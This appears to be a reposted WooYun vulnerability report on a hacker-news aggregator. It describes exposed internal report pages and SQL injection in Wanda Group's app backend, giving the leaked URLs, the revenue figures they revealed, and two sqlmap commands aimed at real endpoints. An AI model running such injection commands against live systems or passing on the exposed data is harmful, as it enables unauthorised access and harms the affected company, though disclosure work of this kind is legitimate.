记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

万达集团官网APP云端漫游之sql注入敏感信息泄露

2015-03-21 11:55

ios app:万达集团

version:v2.2



在前面的几个漏洞里,根据目录http://app.wanda.cn/之前的几个sql注入漏洞都已然修复的差不多了,但是今天再次看看这么个云端平台,感觉他还是很有文章,再次抄起dirbuster,再次游来游去。



app报表泄露,信息泄露涉及集团主要产品

万达电影:

http://app.wanda.cn/APPREP/film

万达大歌星

http://app.wanda.cn/ktvreport/dageApp_dev.html

万达酒店

http://app.wanda.cn/AppReports/hotel

万达旅游

http://app.wanda.cn/APPREP/tourism

漏洞证明:

真的是卖爆米花卖这么多哪

19.png





18.png





17.png





code 区域
电影(收入629万元,你以为是什么,这是卖爆米花一天的收入!)

酒店(收入 47,596 万元,你以为是多长时间,一个月!)

KTV(收入 828.52万元,你以为是多长时间,一天!)

旅游(营业额751,236万,你以为是多长时间,还是一个月!)

多维度报表,还是好多的都没达标啊!





sql注入给出来

code 区域
sqlmap.py -u "http://app.wanda.cn/APPREP/tourYeardetailsAction?dimension=2" --current-user --current-db --tamper=between --dbms=mysql







code 区域
sqlmap.py -u "http://app.wanda.cn/AppReports/hoteldetailsservlet.do?

categorykey=17&hoteltypekey=2&type=0&liorshou=1" --random-agent --current-user --current-db --is dba --dbs --tamper=between --dbms=mysql





1.png





2.png





先来这么多吧!

修复方案:

1*这些数据太刺激了,不想看行不行

2*你们弄吧,或者让老公来

知识来源: www.wooyun.org/bugs/wooyun-2015-095535

阅读:95410 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“万达集团官网APP云端漫游之sql注入敏感信息泄露”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云